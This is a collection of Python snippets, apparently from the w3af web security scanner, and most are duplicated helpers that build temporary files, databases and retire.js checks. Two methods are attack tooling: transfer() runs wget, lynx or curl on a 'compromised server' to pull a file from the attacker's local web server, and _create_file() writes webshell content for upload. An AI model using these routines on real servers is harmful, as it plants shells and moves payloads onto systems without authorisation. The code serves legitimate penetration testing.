def _retire_smoke_test(self):
check_file = tempfile.NamedTemporaryFile(prefix='retirejs-check-',
suffix='.js',
delete=False,
dir=get_temp_dir())
check_file.write('')
check_file.close()
output_file = tempfile.NamedTemporaryFile(prefix='retirejs-output-',
suffix='.json',
delete=False,
dir=get_temp_dir())
output_file.close()
args = (output_file.name, check_file.name)
cmd = self.RETIRE_CMD % args
process = subprocess.Popen(shlex.split(cmd),
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL)
process.wait()
self._remove_file(output_file.name)
self._remove_file(check_file.name)
if process.returncode != 0:
msg = 'Unexpected retire.js exit code. Disabling grep.retirejs plugin.'
om.out.error(msg)
return False
else:
om.out.debug('retire.js returned the expected exit code.')
return True
def transfer(self, data_str, destination):
"""
This method is used to transfer the data_str from w3af to the compromised server.
"""
if not self._command:
self.can_transfer()
commandTemplates = {}
commandTemplates['wget'] = 'wget http://%s:%s/%s -O %s'
commandTemplates['lynx'] = 'lynx -source http://%s:%s/%s > %s'
commandTemplates['curl'] = 'curl http://%s:%s/%s > %s'
# Create the file
filename = rand_alpha(10)
file_path = get_temp_dir() + os.path.sep + filename
f = file(file_path, 'w')
f.write(data_str)
f.close()
# Start a web server on the inbound port and create the file that
# will be fetched by the compromised host
webserver.start_webserver(cf.cf.get('local_ip_address'),
self._inbound_port,
get_temp_dir())
commandToRun = commandTemplates[self._command] % \
(cf.cf.get('local_ip_address'), self._inbound_port,
filename, destination)
self._exec_method(commandToRun)
os.remove(file_path)
return self.verify_upload(data_str, destination)
def _create_file(self, extension):
"""
Create a file with a webshell as content.
:return: Name of the file that was created.
"""
# Get content
file_content, real_extension = shell_handler.get_webshells(extension,
force_extension=True)[0]
if extension == '':
extension = real_extension
# Open target
temp_dir = get_temp_dir()
low_level_fd, path_name = tempfile.mkstemp(prefix='w3af_',
suffix='.' + extension,
dir=temp_dir)
file_handler = os.fdopen(low_level_fd, "w+b")
# Write content to target
file_handler.write(file_content)
file_handler.close()
path, file_name = os.path.split(path_name)
return path, file_name
def _create_file(self, extension):
"""
Create a file with a webshell as content.
:return: Name of the file that was created.
"""
# Get content
file_content, real_extension = shell_handler.get_webshells(
extension, force_extension=True)[0]
if extension == '':
extension = real_extension
# Open target
temp_dir = get_temp_dir()
low_level_fd, path_name = tempfile.mkstemp(prefix='w3af_',
suffix='.' + extension,
dir=temp_dir)
file_handler = os.fdopen(low_level_fd, "w+b")
# Write content to target
file_handler.write(file_content)
file_handler.close()
path, file_name = os.path.split(path_name)
return path, file_name
def _main(self, url):
"""
This was taken from the original halberd, 'script/halberd' .
"""
scantask = halberd_scan_task.ScanTask()
scantask.scantime = halberd_scan_task.default_scantime
scantask.parallelism = halberd_scan_task.default_parallelism
scantask.verbose = False
scantask.debug = True
scantask.conf_file = halberd_scan_task.default_conf_file
scantask.cluefile = ''
scantask.save = ''
temp_output = tempfile.NamedTemporaryFile(delete=False,
dir=get_temp_dir(),
prefix='w3af-halberd-',
suffix='.output')
scantask.out = temp_output.name
halberd_logger.setError()
try:
scantask.readConf()
except halberd_scan_task.ConfError, e:
# halberd: 'unable to create a default conf. file'
# https://github.com/andresriancho/w3af/issues/9988
om.out.error('Failed to initialize Halberd configuration: "%s"' %
e)
return
def clear_default_temp_db_instance():
global temp_default_db
if temp_default_db is not None:
temp_default_db.close()
temp_default_db = None
os.unlink('%s/main.db' % get_temp_dir())
def get_default_temp_db_instance():
global temp_default_db
if temp_default_db is None:
create_temp_dir()
temp_default_db = SQLiteDBMS('%s/main.db' % get_temp_dir())
return temp_default_db
def clear_default_temp_db_instance():
global temp_default_db
if temp_default_db is not None:
temp_default_db.close()
temp_default_db = None
os.unlink('%s/main.db' % get_temp_dir())
def _remove_files(self, fileh_filen_list):
"""
Close all open files and remove them from disk. This is the reverse of
_create_files method.
:param fileh_filen_list: A list of tuples as generated by _create_files
:return: None
>>> from w3af.core.controllers.misc.temp_dir import create_temp_dir
>>> _ = create_temp_dir()
>>> fu = file_upload()
>>> dir_before = os.listdir( get_temp_dir() )
>>> fileh_filen_list = fu._create_files()
>>> fu._remove_files(fileh_filen_list)
>>> dir_after = os.listdir( get_temp_dir() )
>>> dir_before == dir_after
True
"""
for tmp_file_handle, tmp_file_name in fileh_filen_list:
try:
tmp_file_handle.close()
fname = os.path.join(get_temp_dir(), tmp_file_name)
os.remove(fname)
except:
pass
def _remove_files(self, fileh_filen_list):
"""
Close all open files and remove them from disk. This is the reverse of
_create_files method.
:param fileh_filen_list: A list of tuples as generated by _create_files
:return: None
>>> from w3af.core.controllers.misc.temp_dir import create_temp_dir
>>> _ = create_temp_dir()
>>> fu = file_upload()
>>> dir_before = os.listdir( get_temp_dir() )
>>> fileh_filen_list = fu._create_files()
>>> fu._remove_files(fileh_filen_list)
>>> dir_after = os.listdir( get_temp_dir() )
>>> dir_before == dir_after
True
"""
for tmp_file_handle, tmp_file_name in fileh_filen_list:
try:
tmp_file_handle.close()
fname = os.path.join(get_temp_dir(), tmp_file_name)
os.remove(fname)
except:
pass
def _retirejs_is_installed(self):
"""
Runs retirejs on an empty file to check that the return code is 0, this
is just a safety check to make sure everything is working. It is only
run once.
:return: True if everything works
"""
if self._retirejs_exit_code_was_run:
return self._retirejs_exit_code_result
check_file = tempfile.NamedTemporaryFile(prefix='retirejs-check-',
suffix='.js',
delete=False,
dir=get_temp_dir())
check_file.write('')
check_file.close()
output_file = tempfile.NamedTemporaryFile(prefix='retirejs-output-',
suffix='.json',
delete=False,
dir=get_temp_dir())
output_file.close()
args = (output_file.name, check_file.name)
cmd = self.RETIRE_CMD % args
try:
subprocess.check_output(shlex.split(cmd))
except subprocess.CalledProcessError:
msg = ('Unexpected retire.js exit code.'
' Disabling grep.retirejs plugin.')
om.out.error(msg)
self._retirejs_exit_code_was_run = True
self._retirejs_exit_code_result = False
else:
om.out.debug('retire.js returned the expected exit code.')
self._retirejs_exit_code_was_run = True
self._retirejs_exit_code_result = True
finally:
self._remove_file(output_file.name)
self._remove_file(check_file.name)
return self._retirejs_exit_code_result
def get_temp_file(_type):
"""
:return: A named temporary file which will not be removed on close
"""
temp = tempfile.NamedTemporaryFile(prefix='w3af-%s-' % _type,
suffix='.pebble',
delete=False,
dir=get_temp_dir())
return temp
def get_temp_file(_type):
"""
:return: A named temporary file which will not be removed on close
"""
temp = tempfile.NamedTemporaryFile(prefix='w3af-%s-' % _type,
suffix='.pebble',
delete=False,
dir=get_temp_dir())
return temp
def get_db_backend(self):
if self._db_backend is None:
# fd, self._db_backend = tempfile.mkstemp(prefix='w3af-api-log',
# suffix='shelve',
# dir=tempfile.tempdir)
# os.close(fd)
# os.unlink(self._db_backend)
self._db_backend = os.path.join(get_temp_dir(), 'w3af-api-log')
return self._db_backend
def get_temp_file():
#
# Create the temp file
#
tempdir = get_temp_dir()
if not os.path.exists(tempdir):
os.makedirs(tempdir)
filename = ''.join([choice(string.letters) for _ in range(12)])
temp_file = os.path.join(tempdir, filename + '-w3af.bloom')
return temp_file
def get_db_backend(self):
if self._db_backend is None:
# fd, self._db_backend = tempfile.mkstemp(prefix='w3af-api-log',
# suffix='shelve',
# dir=tempfile.tempdir)
# os.close(fd)
# os.unlink(self._db_backend)
self._db_backend = os.path.join(get_temp_dir(), 'w3af-api-log')
return self._db_backend
def _run_retire_on_batch(self, batch):
"""
Analyze a set of files and return the result as JSON
:param batch: The batch of file to analyze (url, filename)
:return: JSON document
"""
json_file = tempfile.NamedTemporaryFile(prefix='retirejs-output-',
suffix='.json',
delete=False,
dir=get_temp_dir())
json_file.close()
args = (json_file.name,
self._retire_db_filename,
self._get_js_temp_directory())
cmd = self.RETIRE_CMD_JSREPO % args
try:
returncode = subprocess.call(shlex.split(cmd),
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
timeout=self.RETIRE_TIMEOUT)
except subprocess.TimeoutExpired:
# The process timed out and the returncode was never set
om.out.debug('The retirejs process for batch %s timeout out' % batch)
return dict()
# retirejs will return code != 0 when a vulnerability is found
# we use this to decide when we need to parse the output
if returncode == 0:
self._remove_file(json_file.name)
return dict()
try:
file_contents = file(json_file.name).read()
except Exception:
msg = 'Failed to read retirejs output file at %s'
om.out.debug(msg % json_file.name)
self._remove_file(json_file.name)
return dict()
try:
json_doc = json.loads(file_contents)
except Exception, e:
msg = ('Failed to parse retirejs output as JSON.'
' Exception is "%s" and file content: "%s..."')
args = (e, file_contents[:20])
om.out.debug(msg % args)
self._remove_file(json_file.name)
return dict()
def create_tempfile(self, encoded_data):
_file = tempfile.NamedTemporaryFile(mode='w+b',
suffix=self.DATA_SUFFIX,
prefix=self.DATA_PREFIX,
delete=False,
dir=get_temp_dir())
data = self.decode_b64_data(encoded_data)
_file.write(data)
_file.close()
return _file.name
def create_temp_profile(scan_profile):
"""
Writes the scan_profile to a file
:param scan_profile: The contents of a profile configuration
:return: The scan profile file name and the directory where it was created
"""
temp_dir = get_temp_dir()
temp_dir = os.path.exists(temp_dir) and temp_dir or tempdir
scan_profile_file = os.path.join(temp_dir, '%s.pw3af' % uuid4())
with open(scan_profile_file, 'w') as fp:
fp.write(scan_profile)
return scan_profile_file, temp_dir
def transfer(self, data_str, destination):
"""
This method is used to transfer the data_str from w3af to the
compromised server.
"""
if not self._command:
self.can_transfer()
cmd_templates = {
"wget": "wget http://%s:%s/%s -O %s",
"lynx": "lynx -source http://%s:%s/%s > %s",
"curl": "curl http://%s:%s/%s > %s",
}
# Create the file
filename = rand_alpha(10)
file_path = get_temp_dir() + os.path.sep + filename
f = file(file_path, "w")
f.write(data_str)
f.close()
# Start a web server on the inbound port and create the file that
# will be fetched by the compromised host
webserver.start_webserver(cf.cf.get("local_ip_address"), self._inbound_port, get_temp_dir())
cmd_to_run = cmd_templates[self._command] % (
cf.cf.get("local_ip_address"),
self._inbound_port,
filename,
destination,
)
self._exec_method(cmd_to_run)
os.remove(file_path)
return self.verify_upload(data_str, destination)
def test_removes_cache(self):
url = URL(get_moth_http())
self.uri_opener.GET(url, cache=False)
# Please note that this line, together with the tearDown() act as
# a test for a "double call to end()".
self.uri_opener.end()
db_fmt = 'db_unittest-%s'
trace_fmt = 'db_unittest-%s_traces/'
temp_dir = get_temp_dir()
for i in xrange(100):
test_db_path = os.path.join(temp_dir, db_fmt % i)
test_trace_path = os.path.join(temp_dir, trace_fmt % i)
self.assertFalse(os.path.exists(test_db_path), test_db_path)
self.assertFalse(os.path.exists(test_trace_path), test_trace_path)
def test_removes_cache(self):
url = URL(get_moth_http())
self.uri_opener.GET(url, cache=False)
# Please note that this line, together with the tearDown() act as
# a test for a "double call to end()".
self.uri_opener.end()
db_fmt = 'db_unittest-%s'
trace_fmt = 'db_unittest-%s_traces/'
temp_dir = get_temp_dir()
for i in xrange(100):
test_db_path = os.path.join(temp_dir, db_fmt % i)
test_trace_path = os.path.join(temp_dir, trace_fmt % i)
self.assertFalse(os.path.exists(test_db_path), test_db_path)
self.assertFalse(os.path.exists(test_trace_path), test_trace_path)
def _download_retire_db(self):
"""
Downloads RETIRE_DB_URL, saves it to the w3af temp directory and
saves the full path to the DB in self._retire_db_filename
:return: None
"""
# Only download once (even when threads are used)
with self._plugin_lock:
if self._retire_db_filename is not None:
return
# w3af grep plugins shouldn't (by definition) perform HTTP requests
# But in this case we're breaking that general rule to retrieve the
# DB at the beginning of the scan
try:
http_response = self._uri_opener.GET(self._retire_db_url,
binary_response=True,
respect_size_limit=False)
except Exception as e:
msg = 'Failed to download the retirejs database: "%s"'
om.out.error(msg % e)
return
if http_response.get_code() != 200:
msg = ('Failed to download the retirejs database, unexpected'
' HTTP response code %s')
om.out.error(msg % http_response.get_code())
return
om.out.debug('Successfully downloaded the latest retirejs DB')
db = tempfile.NamedTemporaryFile(dir=get_temp_dir(),
prefix='retirejs-db-',
suffix='.json',
delete=False,
mode='wb')
json_db = http_response.get_raw_body()
db.write(json_db)
db.close()
self._retire_db_filename = db.name
def svn_wc_db(self, body):
"""
Analyze the contents of the HTTP response body to identify if it is
a SVN database (wc.db) and extract filenames.
:param body: Potentially a wc.db file.
:return: Filenames stored in the DB
"""
filenames = set()
temp_db = tempfile.NamedTemporaryFile(prefix='w3af-find-dvcs-',
suffix='-wc.db',
delete=False,
dir=get_temp_dir())
temp_db_fh = file(temp_db.name, 'w')
temp_db_fh.write(body)
temp_db_fh.close()
query = ('SELECT local_relpath, '
' ".svn/pristine/" || substr(checksum,7,2) || "/" || substr(checksum,7) || ".svn-base" AS svn'
' FROM NODES WHERE kind="file"')
try:
conn = sqlite3.connect(temp_db.name)
cursor = conn.cursor()
cursor.execute(query)
query_result = cursor.fetchall()
for path, svn_path in query_result:
filenames.add(path)
filenames.add(svn_path)
except Exception as e:
msg = 'Failed to extract filenames from wc.db file. The exception was: "%s"'
args = (e,)
om.out.debug(msg % args)
finally:
if os.path.exists(temp_db.name):
os.remove(temp_db.name)
return filenames
def _run_retire_on_batch(self, batch):
"""
Analyze a set of files and return the result as JSON
:param batch: The batch of file to analyze (url, filename)
:return: JSON document
"""
json_file = tempfile.NamedTemporaryFile(prefix='retirejs-output-',
suffix='.json',
delete=False,
dir=get_temp_dir())
json_file.close()
args = (json_file.name, self._retire_db_filename,
self._get_js_temp_directory())
cmd = self.RETIRE_CMD_JSREPO % args
process = subprocess.Popen(shlex.split(cmd))
# This will terminate the retirejs process in case it hangs
t = Timer(self.RETIRE_TIMEOUT, kill, [process])
t.start()
# Wait for the retirejs process to complete
process.wait()
# Cancel the timer if it wasn't run
t.cancel()
# retirejs will return code != 0 when a vulnerability is found
# we use this to decide when we need to parse the output
json_doc = []
if process.returncode != 0:
try:
json_doc = json.loads(file(json_file.name).read())
except Exception, e:
msg = 'Failed to parse retirejs output. Exception: "%s"'
om.out.debug(msg % e)
def _create_files(self):
"""
If the extension is in the templates dir, open it and return the handler.
If the extension isn't in the templates dir, create a file with random
content, open it and return the handler.
:return: A list of tuples with (file handler, file name)
"""
result = []
for ext in self._extensions:
# Open target
temp_dir = get_temp_dir()
low_level_fd, file_name = tempfile.mkstemp(prefix='w3af_',
suffix='.' + ext,
dir=temp_dir)
file_handler = os.fdopen(low_level_fd, "w+b")
template_filename = 'template.' + ext
if template_filename in os.listdir(self.TEMPLATE_DIR):
content = file(
os.path.join(self.TEMPLATE_DIR, template_filename)).read()
else:
# Since I don't have a template for this file extension, I'll
# simply put some random alnum inside the file
content = rand_alnum(64)
# Write content to target
file_handler.write(content)
file_handler.close()
# Open the target again, should never fail.
file_handler = file(file_name, 'r')
_, file_name = os.path.split(file_name)
result.append((file_handler, file_name))
return result
def _create_files(self):
"""
If the extension is in the templates dir, open it and return the handler.
If the extension isn't in the templates dir, create a file with random
content, open it and return the handler.
:return: A list of tuples with (file handler, file name)
"""
result = []
for ext in self._extensions:
# Open target
temp_dir = get_temp_dir()
low_level_fd, file_name = tempfile.mkstemp(prefix='w3af_',
suffix='.' + ext,
dir=temp_dir)
file_handler = os.fdopen(low_level_fd, "w+b")
template_filename = 'template.' + ext
if template_filename in os.listdir(self.TEMPLATE_DIR):
content = file(
os.path.join(self.TEMPLATE_DIR, template_filename)).read()
else:
# Since I don't have a template for this file extension, I'll simply
# put some random alnum inside the file
content = rand_alnum(64)
# Write content to target
file_handler.write(content)
file_handler.close()
# Open the target again, should never fail.
file_handler = file(file_name, 'r')
_, file_name = os.path.split(file_name)
result.append((file_handler, file_name))
return result
def __init__(self):
self._db = get_default_temp_db_instance()
self._session_dir = os.path.join(get_temp_dir(),
self._db.get_file_name() + '_traces')
def get_cache_path():
return os.path.join(get_temp_dir(), 'xml_file')
def get_temp_filename():
temp_dir = get_temp_dir()
fname = ''.join(starmap(choice, repeat((string.letters, ), 18)))
filename = os.path.join(temp_dir, fname + '.w3af.temp_db')
return filename
def _get_js_temp_directory(self):
if self._js_temp_directory is None:
self._js_temp_directory = tempfile.mkdtemp(dir=get_temp_dir())
return self._js_temp_directory
def __init__(self):
self._db = get_default_temp_db_instance()
self._session_dir = os.path.join(get_temp_dir(),
self._db.get_file_name() + '_traces')
def get_temp_filename():
temp_dir = get_temp_dir()
fname = ''.join(starmap(choice, repeat((string.letters,), 18)))
filename = os.path.join(temp_dir, fname + '.w3af.temp_db')
return filename
def get_cache_path():
return os.path.join(get_temp_dir(), 'xml_file')